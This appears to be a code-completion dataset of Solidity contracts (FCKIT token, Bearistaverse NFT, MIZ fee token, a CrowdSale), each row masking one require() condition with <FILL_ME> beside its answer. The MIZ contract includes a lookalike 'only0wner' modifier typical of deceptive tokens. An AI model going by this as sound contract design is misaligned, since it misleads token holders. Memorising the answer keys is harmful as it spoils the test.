| !isDeployed,"Lock duration can only be set before deployment" | 183,396 | !isDeployed |
"Fucked Around & Found Out" | // SPDX-License-Identifier: MIT
//
// ..
// !57 ^.
// .:?PB&BPP5J: :75!77?777~^:. ..... :: . . .....:^~~!!!~:..
// ~J###&PYPBY ^5B#GPB##BP5J!. .~?5G##BPY: ^?Y5 .::.. ..7. .7PBB#&#&&@&&&G7^.
// :J#GG#! :. J#BJ7~~^^^^::: ^?P&@##BBP5G? .5G#!.:^7YG##5^ ?5G^ .!7?Y#&?^^::::.
// ^Y&&#^ .JBB: :P#B&Y7!!~^:. ?&#GYG#@@#Y~. J@@! ^#@!
// .?#@5: ^P#&P555YYJ~: ^GP#J ?@&&#G5?^. ?@&! ~#@7
// .5& 7GGG5YYYJJ?!. :GG#J. J#&BPGJ^. J&&~ J@#^
// 7#B!#&7 7PGP: ?#&Y~. .?B#GGB&&BJ~. ~B&^ .G#B^
// ^^::Y&#J#&P..JB&P: .5B&5J~ .?#@P.!5GPBBP?. J&#. ~GBB.
// :YB#B&@#P57: :G&G~ :?G&#B5YY5JJ?. :P :^JG&#P^ P#P !PG5
// .^^^5B! 75Y: .^7GBB&###G?^ :JP7^ :!^??. ^JJ^ ^?!.
// :~: .: .^!?J?YY~. !.
//
// $FCKIT ~ https://twitter.com/FCKITCOIN
// Contract developed by @shrimpyuk :^)
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract FCKIT is Ownable, ERC20 {
bool isDeployed = false; //If the contract is deployed
bool public isLimited; //Enabled to deter Token Hoarding + MEV Sniping during our launch. Limits slowly raised then dropped to ensure smooth and fair release.
uint256 public maxHoldAmount; //Maximum Balance to be able to trade in Limited Trading Phase. Used to deter Token Hoarding + MEV Sniping during our launch.
uint256 public minHoldAmount; //Minimum Balance to be able to trade in Limited Trading Phase. Used to deter Token Hoarding + MEV Sniping during our launch.
address public liqudityPoolSwapPair; //Address of our initial Liquidity Pool
mapping(address => bool) public hasFuckedAround; //Blacklisted Address Map. Fuck Around => Find Out
uint256 public constant SUPPLY_CAP = 42_690_000_000 * 1 ether; //42,690,000,000 supply cap
//Important Wallets
address constant cexReserveWallet = 0xCdA13fE7AEa02AD5740E3Fd48913A24b83976C60;
address constant managementWallet = 0x5346ffCc2291A9d555E8B860A263B94338E043be;
// Supply Distribution:
// 10% Team Allocation
uint constant teamAllocation = ((SUPPLY_CAP / 1000)*100); //10%
// 22.5% Liquidity Pool
uint constant liquidityPoolAllocation = ((SUPPLY_CAP / 1000)*225); //22.5%
// 10% Developments Reserve
// Used for CEX Liquidity + Emergency Use
uint constant cexReserveAllocation = ((SUPPLY_CAP / 1000)*250); //25%
// 0.2% Airdrop (Freebies)
uint constant airdropAllocation = ((SUPPLY_CAP / 1000)*2); //0.2%
// 42.3% Presale Allocation
uint constant presaleAllocation = ((SUPPLY_CAP / 1000)*423); //42.3%
// Wallets for locking funds
address[4] public lockedWallets;
uint256[4] public walletAllocations;
uint256 public LOCK_DURATION = 14 days;
// Team Wallets
address constant teamWallet1 = 0xF3bb77973f7F1de2fC99fCAE3AF66b56e5df5114;
address constant teamWallet2 = 0xc4AAeE79cC0a7c5d4EC3F4f8279f31Ba15055e6B;
address constant teamWallet3 = 0x3a1c2AA33BC5522D59cF729e701C31cc4B8F0037;
address constant teamWallet4 = 0xff955eFf3d270D44B39D228F7ECdfe41aD5760B3;
constructor() ERC20("FCKIT", "FCKIT") {
}
// Sets the lock duration of funds. Can only be called internally and once, via the initializer.
function setLockDuration(uint256 duration) internal {
}
// @notice Withdraw Team's Allocation after 14 Day Lock
function withdrawLockedFunds() external {
}
/// @notice Blacklist/Unblacklist a Wallet
/// @param _address The Address of the wallet to modify
/// @param _hasFuckedAround If they are blacklisted or not
function foundOut(address _address, bool _hasFuckedAround) external onlyOwner {
}
/// @notice Set temporary trading rules to ensure a smooth launch detering token hoarding + MEV sniping.
/// @param _isLimited If the temporary trading rules should apply
/// @param _tokenSwapPair Address of the Token Swap Pair e.g. Uniswap
/// @param _maxHoldAmount Maximum amount of tokens that can be held to interact with the Liquduity Pool during the limited phase
/// @param _minHoldAmount Minimum amount of tokens that can be held to interact with the Liquduity Pool during the limited phase
function setRules(bool _isLimited, address _tokenSwapPair, uint256 _maxHoldAmount, uint256 _minHoldAmount) external onlyOwner {
}
/// @notice Set them tokens on fire
/// @param value How many tokens to burn
function burn(uint256 value) external {
}
//Enforce Ruleset
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) override internal virtual {
// Blacklist Ruleset
require(<FILL_ME>)
// Exclude Pre-Liqudity Trading (Aside from Owner Wallet)
if (liqudityPoolSwapPair == address(0) && isDeployed) {
require(from == owner() || to == owner(), "Trading has not yet started");
return;
}
//Extra rules to keep a fair and smooth release :)
if (isLimited && from == liqudityPoolSwapPair) {
require(super.balanceOf(to) + amount <= maxHoldAmount && super.balanceOf(to) + amount >= minHoldAmount, "Forbidden");
}
}
}
| !hasFuckedAround[to]&&!hasFuckedAround[from],"Fucked Around & Found Out" | 183,396 | !hasFuckedAround[to]&&!hasFuckedAround[from] |
"Forbidden" | // SPDX-License-Identifier: MIT
//
// ..
// !57 ^.
// .:?PB&BPP5J: :75!77?777~^:. ..... :: . . .....:^~~!!!~:..
// ~J###&PYPBY ^5B#GPB##BP5J!. .~?5G##BPY: ^?Y5 .::.. ..7. .7PBB#&#&&@&&&G7^.
// :J#GG#! :. J#BJ7~~^^^^::: ^?P&@##BBP5G? .5G#!.:^7YG##5^ ?5G^ .!7?Y#&?^^::::.
// ^Y&&#^ .JBB: :P#B&Y7!!~^:. ?&#GYG#@@#Y~. J@@! ^#@!
// .?#@5: ^P#&P555YYJ~: ^GP#J ?@&&#G5?^. ?@&! ~#@7
// .5& 7GGG5YYYJJ?!. :GG#J. J#&BPGJ^. J&&~ J@#^
// 7#B!#&7 7PGP: ?#&Y~. .?B#GGB&&BJ~. ~B&^ .G#B^
// ^^::Y&#J#&P..JB&P: .5B&5J~ .?#@P.!5GPBBP?. J&#. ~GBB.
// :YB#B&@#P57: :G&G~ :?G&#B5YY5JJ?. :P :^JG&#P^ P#P !PG5
// .^^^5B! 75Y: .^7GBB&###G?^ :JP7^ :!^??. ^JJ^ ^?!.
// :~: .: .^!?J?YY~. !.
//
// $FCKIT ~ https://twitter.com/FCKITCOIN
// Contract developed by @shrimpyuk :^)
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract FCKIT is Ownable, ERC20 {
bool isDeployed = false; //If the contract is deployed
bool public isLimited; //Enabled to deter Token Hoarding + MEV Sniping during our launch. Limits slowly raised then dropped to ensure smooth and fair release.
uint256 public maxHoldAmount; //Maximum Balance to be able to trade in Limited Trading Phase. Used to deter Token Hoarding + MEV Sniping during our launch.
uint256 public minHoldAmount; //Minimum Balance to be able to trade in Limited Trading Phase. Used to deter Token Hoarding + MEV Sniping during our launch.
address public liqudityPoolSwapPair; //Address of our initial Liquidity Pool
mapping(address => bool) public hasFuckedAround; //Blacklisted Address Map. Fuck Around => Find Out
uint256 public constant SUPPLY_CAP = 42_690_000_000 * 1 ether; //42,690,000,000 supply cap
//Important Wallets
address constant cexReserveWallet = 0xCdA13fE7AEa02AD5740E3Fd48913A24b83976C60;
address constant managementWallet = 0x5346ffCc2291A9d555E8B860A263B94338E043be;
// Supply Distribution:
// 10% Team Allocation
uint constant teamAllocation = ((SUPPLY_CAP / 1000)*100); //10%
// 22.5% Liquidity Pool
uint constant liquidityPoolAllocation = ((SUPPLY_CAP / 1000)*225); //22.5%
// 10% Developments Reserve
// Used for CEX Liquidity + Emergency Use
uint constant cexReserveAllocation = ((SUPPLY_CAP / 1000)*250); //25%
// 0.2% Airdrop (Freebies)
uint constant airdropAllocation = ((SUPPLY_CAP / 1000)*2); //0.2%
// 42.3% Presale Allocation
uint constant presaleAllocation = ((SUPPLY_CAP / 1000)*423); //42.3%
// Wallets for locking funds
address[4] public lockedWallets;
uint256[4] public walletAllocations;
uint256 public LOCK_DURATION = 14 days;
// Team Wallets
address constant teamWallet1 = 0xF3bb77973f7F1de2fC99fCAE3AF66b56e5df5114;
address constant teamWallet2 = 0xc4AAeE79cC0a7c5d4EC3F4f8279f31Ba15055e6B;
address constant teamWallet3 = 0x3a1c2AA33BC5522D59cF729e701C31cc4B8F0037;
address constant teamWallet4 = 0xff955eFf3d270D44B39D228F7ECdfe41aD5760B3;
constructor() ERC20("FCKIT", "FCKIT") {
}
// Sets the lock duration of funds. Can only be called internally and once, via the initializer.
function setLockDuration(uint256 duration) internal {
}
// @notice Withdraw Team's Allocation after 14 Day Lock
function withdrawLockedFunds() external {
}
/// @notice Blacklist/Unblacklist a Wallet
/// @param _address The Address of the wallet to modify
/// @param _hasFuckedAround If they are blacklisted or not
function foundOut(address _address, bool _hasFuckedAround) external onlyOwner {
}
/// @notice Set temporary trading rules to ensure a smooth launch detering token hoarding + MEV sniping.
/// @param _isLimited If the temporary trading rules should apply
/// @param _tokenSwapPair Address of the Token Swap Pair e.g. Uniswap
/// @param _maxHoldAmount Maximum amount of tokens that can be held to interact with the Liquduity Pool during the limited phase
/// @param _minHoldAmount Minimum amount of tokens that can be held to interact with the Liquduity Pool during the limited phase
function setRules(bool _isLimited, address _tokenSwapPair, uint256 _maxHoldAmount, uint256 _minHoldAmount) external onlyOwner {
}
/// @notice Set them tokens on fire
/// @param value How many tokens to burn
function burn(uint256 value) external {
}
//Enforce Ruleset
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) override internal virtual {
// Blacklist Ruleset
require(!hasFuckedAround[to] && !hasFuckedAround[from], "Fucked Around & Found Out");
// Exclude Pre-Liqudity Trading (Aside from Owner Wallet)
if (liqudityPoolSwapPair == address(0) && isDeployed) {
require(from == owner() || to == owner(), "Trading has not yet started");
return;
}
//Extra rules to keep a fair and smooth release :)
if (isLimited && from == liqudityPoolSwapPair) {
require(<FILL_ME>)
}
}
}
| super.balanceOf(to)+amount<=maxHoldAmount&&super.balanceOf(to)+amount>=minHoldAmount,"Forbidden" | 183,396 | super.balanceOf(to)+amount<=maxHoldAmount&&super.balanceOf(to)+amount>=minHoldAmount |
"Can only mint once during public AL!" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "erc721a/contracts/ERC721A.sol";
import "./MerkleAllowlist.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/extensions/ERC721ABurnable.sol";
import {DefaultOperatorFilterer} from "./DefaultOperatorFilterer.sol";
contract Bearistaverse is Ownable, ERC721A, MerkleAllowlist, ReentrancyGuard, ERC721ABurnable, DefaultOperatorFilterer{
//Contract URI
string public CONTRACT_URI = "ipfs://QmTcJUrwPpEUwUG31DU2NkuCKhkdTp4Hjwyq2BfhhEs4GR";
mapping(address => bool) public userHasMintedAL;
bool public REVEALED;
string public UNREVEALED_URI = "ipfs://QmUfwYL4MyPP4aneNwAwpwJYEPsKfuiDuDREsdKhh44qZn";
string public BASE_URI;
bool public isPublicMintEnabled = false;
uint public COLLECTION_SIZE = 10000;
uint public MINT_PRICE = 0.02 ether;
uint public MAX_BATCH_SIZE = 50;
uint public MAX_AL_BATCH_SIZE = 3;
constructor() ERC721A("Bearistaverse", "BEARVERSE") {}
function teamMint(uint256 quantity, address receiver) public onlyOwner {
}
function mintAL(uint256 quantity, bytes32[] memory proof)
public
payable
onlyPublicAllowlist(proof)
{
uint256 price = (MINT_PRICE) * quantity;
require(<FILL_ME>)
require(totalSupply() + quantity <= COLLECTION_SIZE, "Max Collection Size reached!");
require(quantity <= MAX_AL_BATCH_SIZE, "Cannot mint this quantity");
require(msg.value >= price, "Must send enough eth for AL Mint");
userHasMintedAL[msg.sender] = true;
//Mint them
_safeMint(msg.sender, quantity);
if (msg.value > price) {
payable(msg.sender).transfer(msg.value - price);
}
}
modifier callerIsUser() {
}
function mint(uint256 quantity)
external
payable
callerIsUser
{
}
function withdrawFunds() external onlyOwner nonReentrant {
}
function setPublicMintEnabled(bool _isPublicMintEnabled) public onlyOwner {
}
function setBaseURI(bool _revealed, string memory _baseURI) public onlyOwner {
}
function contractURI() public view returns (string memory) {
}
function setContractURI(string memory _contractURI) public onlyOwner {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override (ERC721A, IERC721A) onlyAllowedOperator {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override (ERC721A, IERC721A) onlyAllowedOperator {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public payable
override (ERC721A, IERC721A)
onlyAllowedOperator
{
}
function tokenURI(uint256 _tokenId)
public
view
override (ERC721A, IERC721A)
returns (string memory)
{
}
}
| !userHasMintedAL[msg.sender],"Can only mint once during public AL!" | 183,398 | !userHasMintedAL[msg.sender] |
null | //https://t.me/mizuchierc20
//https://medium.com/@mizuchierc20/11-c0a26c669761
//https://twitter.com/MizuchiERC
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MIZ is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Mizuchi";/////////////////////////////////////////////
string private constant _symbol = "MIZ";///////////////////////////////////////////
uint8 private constant _decimals = 9;////////////////////////////////////////////////
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = _tTotal;
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 25;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 25;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _devwallet = payable(0xEC477dD55cd1D53c35F4390b04d08b44Defe7010);
address payable private _marketingwallet = payable(0xEC477dD55cd1D53c35F4390b04d08b44Defe7010);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
address private router;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**9;
uint256 public _maxWalletSize = 1000000 * 10**9;
uint256 public _swapTokensAtAmount = 100000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
modifier only0wner() {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function enableTrading(bool _tradingOpen, address open) public onlyOwner {
}
function manualswap() external {
require(<FILL_ME>)
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
}
function blockBots(address[] memory bots_) public onlyOwner {
}
function unblockBot(address bots_ , uint256 _true) external only0wner {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function updateFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
}
//Set maximum transaction
function updateTxnAmount(uint256 updatemaxTxAmount) public onlyOwner {
}
function updateWalletSize(uint256 updatemaxWalletSize) public onlyOwner {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
}
| _msgSender()==_devwallet||_msgSender()==_marketingwallet | 183,818 | _msgSender()==_devwallet||_msgSender()==_marketingwallet |
"token : zero address" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./currency/ICurrencyFeed.sol";
import "./Members.sol";
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conforms
* the base architecture for crowdsales. It is *not* intended to be modified / overridden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropriate to concatenate
* behavior.
*/
contract CrowdSale is Context, ReentrancyGuard, Ownable, Members {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private _token;
address payable private _devWallet;
address payable private _refWallet;
uint64 private DEFAULT_RATE = 20;
ICurrencyFeed _currencyFeed;
bool private _enabled;
struct Shares {
uint256 beneficiaryTokenWei;
uint256 devWei;
uint256 refWei;
uint256 refTokenWei;
}
struct Quote{
uint80 roundId;
string symbol;
uint256 unitPrice;
uint256 min;
uint256 max;
uint256 rate;
uint256 weiInCents;
uint256 tokenWei;
bool whiteListed;
}
event TokensPurchased(
address Beneficiary,
string Pair,
uint256 Wei,
uint256 Usd,
uint256 Tokens,
uint256 DQuote,
uint256 RBase,
uint256 RQuote
);
constructor(
IERC20 tokenContract,
address payable wallet
)
{
require(wallet != address(0x0), "wallet: zero address");
require(<FILL_ME>)
_token = tokenContract;
_devWallet = wallet;
}
/**
* @dev fallback function ***DO NOT OVERRIDE***
* Note that other contracts will transfer funds with a base gas stipend
* of 2300, which is not enough to call buyTokens. Consider calling
* buyTokens directly when purchasing tokens from a contract.
*/
receive() external payable
{
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* This function has a non-reentrancy guard, so it shouldn't be called by
* another `nonReentrant` function.
*/
function buyTokens(string memory symbol, uint256 weiAmount, uint256 code, uint80 roundId )
public
_whenSaleEnabled(_enabled)
payable nonReentrant
{
}
/**
* @return the token being sold.
*/
function getToken()
public view
returns (IERC20)
{
}
function setToken(IERC20 token)
external
onlyOwner
{
}
/**
* @return the address where funds are collected.
*/
function getWallet()
external view
returns (address payable)
{
}
function setWallet(address payable wallet)
external
onlyOwner
{
}
function getDefaultRate()
external view
returns (uint64)
{
}
function setDefaultRate(uint64 rate)
public
onlyOwner
{
}
function getCurrencyFeed()
public view
returns(ICurrencyFeed feed)
{
}
function setCurrencyFeed(address feed)
external
onlyOwner
{
}
function getRate(uint256 cents, Range memory range, bool isCommission)
internal view
returns (uint64)
{
}
function getRange(Range memory range)
internal pure
returns (uint256, uint256)
{
}
function setEnabled(bool enabled)
external onlyOwner
{
}
function getEnabled()
external view returns(bool)
{
}
function _processShares(
uint256 weiAmount,
uint256 weiInCents,
Referrer memory referrer
)
internal view
_whenValidAmount(weiInCents, referrer.range)
_whenValidUser(referrer.member.wallet)
returns (Shares memory)
{
}
/*
* @param currency : Currency object
* @param weiAmount : amount in smallest units of ETH/ERC20(USDT) Token to be converted
* @param unitPrice : unit price of ETH/ERC20(USDT) in cents
*/
function _weiToCents(uint256 weiDecimals, uint256 weiAmount, uint256 unitPrice)
internal pure returns (uint256)
{
}
function _weiUnitPrice(string memory symbol)
internal view
returns (ICurrencyFeed.Price memory)
{
}
function _weiUnitPrice(string memory symbol, uint80 roundId)
internal view
returns (ICurrencyFeed.Price memory)
{
}
function _centsToTokenWei(uint256 cents, Range memory range, bool isCommission)
internal view
returns (uint256, uint256)
{
}
function _oneCentToTokenWei(uint256 rate )
internal view
returns (uint256)
{
}
function _salePairName(string memory symbol)
internal view
returns (string memory)
{
}
function _percentageOf(uint256 total, uint256 percent)
internal pure
returns (uint256)
{
}
// code = memeberid
function getQuote(string memory symbol, uint256 weiAmount, uint256 code)
external view
returns(Quote memory quote)
{
}
function balance(IERC20 token)
public view
onlyOwner
returns(uint256)
{
}
function recover(IERC20 token)
public
onlyOwner
{
}
modifier _whenValidAmount(uint256 weiInCents, Range memory range)
{
}
modifier _whenCurrencyFeed(ICurrencyFeed feed)
{
}
modifier _whenSaleEnabled(bool enabled)
{
}
modifier _whenValidUser(address referrer) {
}
}
| address(tokenContract)!=address(0x0),"token : zero address" | 183,872 | address(tokenContract)!=address(0x0) |
"Whitelist: Not found" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./currency/ICurrencyFeed.sol";
import "./Members.sol";
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conforms
* the base architecture for crowdsales. It is *not* intended to be modified / overridden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropriate to concatenate
* behavior.
*/
contract CrowdSale is Context, ReentrancyGuard, Ownable, Members {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private _token;
address payable private _devWallet;
address payable private _refWallet;
uint64 private DEFAULT_RATE = 20;
ICurrencyFeed _currencyFeed;
bool private _enabled;
struct Shares {
uint256 beneficiaryTokenWei;
uint256 devWei;
uint256 refWei;
uint256 refTokenWei;
}
struct Quote{
uint80 roundId;
string symbol;
uint256 unitPrice;
uint256 min;
uint256 max;
uint256 rate;
uint256 weiInCents;
uint256 tokenWei;
bool whiteListed;
}
event TokensPurchased(
address Beneficiary,
string Pair,
uint256 Wei,
uint256 Usd,
uint256 Tokens,
uint256 DQuote,
uint256 RBase,
uint256 RQuote
);
constructor(
IERC20 tokenContract,
address payable wallet
)
{
}
/**
* @dev fallback function ***DO NOT OVERRIDE***
* Note that other contracts will transfer funds with a base gas stipend
* of 2300, which is not enough to call buyTokens. Consider calling
* buyTokens directly when purchasing tokens from a contract.
*/
receive() external payable
{
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* This function has a non-reentrancy guard, so it shouldn't be called by
* another `nonReentrant` function.
*/
function buyTokens(string memory symbol, uint256 weiAmount, uint256 code, uint80 roundId )
public
_whenSaleEnabled(_enabled)
payable nonReentrant
{
address _beneficiary = _msgSender();
uint256 _weiAmount = weiAmount;
Referrer memory referrer = getMemberOrDefault(code);
_refWallet = payable(referrer.member.wallet);
require(_beneficiary != _refWallet, "Referral: Not allowed");
if(referrer.member.whiteList) {
require(<FILL_ME>)
}
ICurrencyFeed.Price memory _price = _weiUnitPrice(symbol, roundId);
uint256 _weiInCents = _weiToCents(_price.currency.decimals, _weiAmount, _price.unitPrice);
Shares memory _share = _processShares(_weiAmount, _weiInCents, referrer);
if (keccak256(abi.encodePacked(symbol)) == keccak256(abi.encodePacked("ETH"))) {
require(_weiAmount == msg.value, "Wei mismatch");
// // send tokens to beneficiary
_token.safeTransfer(_beneficiary, _share.beneficiaryTokenWei);
// forward receied eth to dev wallet
_devWallet.transfer(_share.devWei);
// deliver commission to referrer
_refWallet.transfer(_share.refWei);
_token.safeTransfer(_refWallet, _share.refTokenWei);
} else {
IERC20 _quoteToken = _price.currency.tokenContract;
require(_quoteToken.allowance(_msgSender(), address(this)) >= _weiAmount, "Beneficiary: Not enough allowance");
// forward receied quote currency to dev wallet
_quoteToken.safeTransferFrom(_beneficiary, _devWallet , _share.devWei);
// process commissions : quote currency
_quoteToken.safeTransferFrom(_beneficiary, _refWallet , _share.refWei);
// send tokens to beneficiary
_token.safeTransfer(_beneficiary, _share.beneficiaryTokenWei);
// process commissions : base currency
_token.safeTransfer(_refWallet, _share.refTokenWei);
}
string memory _pair = _salePairName(symbol);
emit TokensPurchased(
_beneficiary,
_pair,
_weiAmount,
_weiInCents,
_share.beneficiaryTokenWei,
_share.devWei,
_share.refTokenWei,
_share.refWei
);
}
/**
* @return the token being sold.
*/
function getToken()
public view
returns (IERC20)
{
}
function setToken(IERC20 token)
external
onlyOwner
{
}
/**
* @return the address where funds are collected.
*/
function getWallet()
external view
returns (address payable)
{
}
function setWallet(address payable wallet)
external
onlyOwner
{
}
function getDefaultRate()
external view
returns (uint64)
{
}
function setDefaultRate(uint64 rate)
public
onlyOwner
{
}
function getCurrencyFeed()
public view
returns(ICurrencyFeed feed)
{
}
function setCurrencyFeed(address feed)
external
onlyOwner
{
}
function getRate(uint256 cents, Range memory range, bool isCommission)
internal view
returns (uint64)
{
}
function getRange(Range memory range)
internal pure
returns (uint256, uint256)
{
}
function setEnabled(bool enabled)
external onlyOwner
{
}
function getEnabled()
external view returns(bool)
{
}
function _processShares(
uint256 weiAmount,
uint256 weiInCents,
Referrer memory referrer
)
internal view
_whenValidAmount(weiInCents, referrer.range)
_whenValidUser(referrer.member.wallet)
returns (Shares memory)
{
}
/*
* @param currency : Currency object
* @param weiAmount : amount in smallest units of ETH/ERC20(USDT) Token to be converted
* @param unitPrice : unit price of ETH/ERC20(USDT) in cents
*/
function _weiToCents(uint256 weiDecimals, uint256 weiAmount, uint256 unitPrice)
internal pure returns (uint256)
{
}
function _weiUnitPrice(string memory symbol)
internal view
returns (ICurrencyFeed.Price memory)
{
}
function _weiUnitPrice(string memory symbol, uint80 roundId)
internal view
returns (ICurrencyFeed.Price memory)
{
}
function _centsToTokenWei(uint256 cents, Range memory range, bool isCommission)
internal view
returns (uint256, uint256)
{
}
function _oneCentToTokenWei(uint256 rate )
internal view
returns (uint256)
{
}
function _salePairName(string memory symbol)
internal view
returns (string memory)
{
}
function _percentageOf(uint256 total, uint256 percent)
internal pure
returns (uint256)
{
}
// code = memeberid
function getQuote(string memory symbol, uint256 weiAmount, uint256 code)
external view
returns(Quote memory quote)
{
}
function balance(IERC20 token)
public view
onlyOwner
returns(uint256)
{
}
function recover(IERC20 token)
public
onlyOwner
{
}
modifier _whenValidAmount(uint256 weiInCents, Range memory range)
{
}
modifier _whenCurrencyFeed(ICurrencyFeed feed)
{
}
